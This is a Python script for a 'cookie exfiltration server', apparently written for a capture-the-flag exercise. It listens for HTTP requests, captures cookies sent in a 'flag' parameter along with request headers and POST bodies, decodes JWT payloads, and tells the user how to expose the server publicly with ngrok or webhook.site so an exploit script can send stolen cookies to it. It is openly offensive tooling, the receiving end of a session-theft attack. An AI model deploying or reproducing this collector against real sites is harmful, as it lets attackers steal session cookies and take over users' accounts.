#!/usr/bin/env python3
"""
Simple HTTP Server to receive exfiltrated cookies
Use this if you don't have ngrok/webhook.site
"""

from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse, parse_qs
import json

class CookieHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        """Handle GET requests with exfiltrated data"""
        parsed = urlparse(self.path)
        params = parse_qs(parsed.query)
        
        print("\n" + "="*70)
        print("🎯 INCOMING REQUEST")
        print("="*70)
        print(f"Path: {self.path}")
        print(f"Headers: {dict(self.headers)}")
        
        if 'flag' in params:
            cookie = params['flag'][0]
            print(f"\n{'='*70}")
            print(f"🚩 COOKIE CAPTURED:")
            print(f"{'='*70}")
            print(f"\n{cookie}\n")
            print(f"{'='*70}")
            
            # Try to decode if it's a JWT
            if cookie.startswith('eyJ'):
                print(f"\n[*] Detected JWT format, attempting decode...")
                try:
                    import base64
                    parts = cookie.split('.')
                    if len(parts) == 3:
                        payload_b64 = parts[1]
                        payload_b64 += '=' * (4 - len(payload_b64) % 4)
                        payload_json = base64.urlsafe_b64decode(payload_b64)
                        payload = json.loads(payload_json)
                        print(f"\n[+] JWT Payload:")
                        print(json.dumps(payload, indent=2))
                        
                        if 'flag' in payload:
                            print(f"\n{'='*70}")
                            print(f"🏁 FLAG EXTRACTED:")
                            print(f"{'='*70}")
                            print(f"\n{payload['flag']}\n")
                            print(f"{'='*70}")
                except Exception as e:
                    print(f"[-] Error decoding JWT: {e}")
        
        # Send response
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.send_header('Access-Control-Allow-Origin', '*')
        self.end_headers()
        self.wfile.write(b'OK - Cookie received!')
    
    def do_POST(self):
        """Handle POST requests"""
        content_length = int(self.headers.get('Content-Length', 0))
        body = self.rfile.read(content_length).decode('utf-8')
        
        print("\n" + "="*70)
        print("🎯 INCOMING POST REQUEST")
        print("="*70)
        print(f"Path: {self.path}")
        print(f"Body: {body}")
        print(f"Headers: {dict(self.headers)}")
        
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.send_header('Access-Control-Allow-Origin', '*')
        self.end_headers()
        self.wfile.write(b'OK')
    
    def log_message(self, format, *args):
        """Suppress default logging"""
        pass

def run_server(port=8080):
    server_address = ('', port)
    httpd = HTTPServer(server_address, CookieHandler)
    
    print(f"""
╔══════════════════════════════════════════════════════════════════════╗
║                  COOKIE EXFILTRATION SERVER                         ║
╚══════════════════════════════════════════════════════════════════════╝

[+] Server started on port {port}
[*] Local URL: http://localhost:{port}

[!] To make this accessible from the internet:
    
    Option 1 - Use ngrok (recommended):
    1. Download ngrok: https://ngrok.com/download
    2. Run: ngrok http {port}
    3. Copy the HTTPS URL (e.g., https://abc123.ngrok.io)
    4. Use that URL in the exploit script
    
    Option 2 - Use webhook.site (easier):
    1. Go to https://webhook.site
    2. Copy your unique URL
    3. Use that instead (no need for this server)

[*] Waiting for incoming connections...
[*] Press Ctrl+C to stop
""")
    
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        print("\n\n[!] Server stopped")
        httpd.shutdown()

if __name__ == "__main__":
    import sys
    port = int(sys.argv[1]) if len(sys.argv) > 1 else 8080
    run_server(port)
